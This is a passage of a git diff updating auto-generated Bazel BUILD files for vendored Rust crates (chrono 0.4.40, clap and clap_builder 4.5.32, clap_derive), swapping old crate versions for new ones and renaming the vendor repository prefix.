-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # i686-apple-darwin
-        ],
-        "@rules_rust//rust/platform:i686-linux-android": [
-            "@vendor__android-tzdata-0.1.1//:android_tzdata",  # i686-linux-android
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # i686-linux-android
-        ],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [
-            "@vendor__windows-targets-0.52.6//:windows_targets",  # i686-pc-windows-msvc
-        ],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # i686-unknown-freebsd
-        ],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # i686-unknown-linux-gnu
-        ],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # powerpc-unknown-linux-gnu
-        ],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # s390x-unknown-linux-gnu
-        ],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [
-            "@vendor__js-sys-0.3.76//:js_sys",  # wasm32-unknown-unknown
-            "@vendor__wasm-bindgen-0.2.99//:wasm_bindgen",  # wasm32-unknown-unknown
-        ],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # x86_64-apple-darwin
-        ],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # x86_64-apple-ios
-        ],
-        "@rules_rust//rust/platform:x86_64-linux-android": [
-            "@vendor__android-tzdata-0.1.1//:android_tzdata",  # x86_64-linux-android
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # x86_64-linux-android
-        ],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
-            "@vendor__windows-targets-0.52.6//:windows_targets",  # x86_64-pc-windows-msvc
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # x86_64-unknown-freebsd
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # x86_64-unknown-fuchsia
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # x86_64-unknown-linux-gnu
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [
-            "@vendor__iana-time-zone-0.1.61//:iana_time_zone",  # x86_64-unknown-linux-gnu, x86_64-unknown-nixos-gnu
-        ],
-        "//conditions:default": [],
-    }),
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chrono-0.4.40.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chrono-0.4.40.bazel
new file mode 100644
index 000000000000..2e67a0f3f596
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chrono-0.4.40.bazel
@@ -0,0 +1,194 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "chrono",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "alloc",
+        "android-tzdata",
+        "clock",
+        "default",
+        "iana-time-zone",
+        "js-sys",
+        "now",
+        "oldtime",
+        "serde",
+        "std",
+        "wasm-bindgen",
+        "wasmbind",
+        "winapi",
+        "windows-link",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=chrono",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.4.40",
+    deps = [
+        "@vendor_ts__num-traits-0.2.19//:num_traits",
+        "@vendor_ts__serde-1.0.219//:serde",
+    ] + select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # aarch64-apple-darwin
+        ],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # aarch64-apple-ios
+        ],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # aarch64-apple-ios-sim
+        ],
+        "@rules_rust//rust/platform:aarch64-linux-android": [
+            "@vendor_ts__android-tzdata-0.1.1//:android_tzdata",  # aarch64-linux-android
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # aarch64-linux-android
+        ],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
+            "@vendor_ts__windows-link-0.1.1//:windows_link",  # aarch64-pc-windows-msvc
+        ],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # aarch64-unknown-fuchsia
+        ],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # aarch64-unknown-linux-gnu
+        ],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # aarch64-unknown-linux-gnu, aarch64-unknown-nixos-gnu
+        ],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # aarch64-unknown-nto-qnx710
+        ],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # arm-unknown-linux-gnueabi
+        ],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [
+            "@vendor_ts__android-tzdata-0.1.1//:android_tzdata",  # armv7-linux-androideabi
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # armv7-linux-androideabi
+        ],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # armv7-unknown-linux-gnueabi
+        ],
+        "@rules_rust//rust/platform:i686-apple-darwin": [
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # i686-apple-darwin
+        ],
+        "@rules_rust//rust/platform:i686-linux-android": [
+            "@vendor_ts__android-tzdata-0.1.1//:android_tzdata",  # i686-linux-android
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # i686-linux-android
+        ],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [
+            "@vendor_ts__windows-link-0.1.1//:windows_link",  # i686-pc-windows-msvc
+        ],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # i686-unknown-freebsd
+        ],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # i686-unknown-linux-gnu
+        ],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # powerpc-unknown-linux-gnu
+        ],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # s390x-unknown-linux-gnu
+        ],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [
+            "@vendor_ts__js-sys-0.3.76//:js_sys",  # wasm32-unknown-unknown
+            "@vendor_ts__wasm-bindgen-0.2.99//:wasm_bindgen",  # wasm32-unknown-unknown
+        ],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # x86_64-apple-darwin
+        ],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # x86_64-apple-ios
+        ],
+        "@rules_rust//rust/platform:x86_64-linux-android": [
+            "@vendor_ts__android-tzdata-0.1.1//:android_tzdata",  # x86_64-linux-android
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # x86_64-linux-android
+        ],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
+            "@vendor_ts__windows-link-0.1.1//:windows_link",  # x86_64-pc-windows-msvc
+        ],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # x86_64-unknown-freebsd
+        ],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # x86_64-unknown-fuchsia
+        ],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # x86_64-unknown-linux-gnu
+        ],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [
+            "@vendor_ts__iana-time-zone-0.1.61//:iana_time_zone",  # x86_64-unknown-linux-gnu, x86_64-unknown-nixos-gnu
+        ],
+        "//conditions:default": [],
+    }),
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap-4.5.26.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap-4.5.26.bazel
deleted file mode 100644
index b0fc737a3a18..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap-4.5.26.bazel
+++ /dev/null
@@ -1,99 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "clap",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "color",
-        "default",
-        "derive",
-        "error-context",
-        "help",
-        "std",
-        "suggestions",
-        "usage",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    proc_macro_deps = [
-        "@vendor__clap_derive-4.5.24//:clap_derive",
-    ],
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=clap",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "4.5.26",
-    deps = [
-        "@vendor__clap_builder-4.5.26//:clap_builder",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap-4.5.32.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap-4.5.32.bazel
new file mode 100644
index 000000000000..efd3ae52118b
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap-4.5.32.bazel
@@ -0,0 +1,99 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "clap",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "color",
+        "default",
+        "derive",
+        "error-context",
+        "help",
+        "std",
+        "suggestions",
+        "usage",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    proc_macro_deps = [
+        "@vendor_ts__clap_derive-4.5.32//:clap_derive",
+    ],
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=clap",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "4.5.32",
+    deps = [
+        "@vendor_ts__clap_builder-4.5.32//:clap_builder",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_builder-4.5.26.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_builder-4.5.26.bazel
deleted file mode 100644
index 1cb3a18cd0c1..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_builder-4.5.26.bazel
+++ /dev/null
@@ -1,97 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "clap_builder",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "color",
-        "error-context",
-        "help",
-        "std",
-        "suggestions",
-        "usage",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=clap_builder",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "4.5.26",
-    deps = [
-        "@vendor__anstream-0.6.18//:anstream",
-        "@vendor__anstyle-1.0.10//:anstyle",
-        "@vendor__clap_lex-0.7.4//:clap_lex",
-        "@vendor__strsim-0.11.1//:strsim",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_builder-4.5.32.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_builder-4.5.32.bazel
new file mode 100644
index 000000000000..d839347dd068
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_builder-4.5.32.bazel
@@ -0,0 +1,97 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "clap_builder",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "color",
+        "error-context",
+        "help",
+        "std",
+        "suggestions",
+        "usage",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=clap_builder",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "4.5.32",
+    deps = [
+        "@vendor_ts__anstream-0.6.18//:anstream",
+        "@vendor_ts__anstyle-1.0.10//:anstyle",
+        "@vendor_ts__clap_lex-0.7.4//:clap_lex",
+        "@vendor_ts__strsim-0.11.1//:strsim",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_derive-4.5.24.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_derive-4.5.24.bazel
deleted file mode 100644
index fdf5dc04a455..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_derive-4.5.24.bazel
+++ /dev/null
@@ -1,92 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_proc_macro")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_proc_macro(
-    name = "clap_derive",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
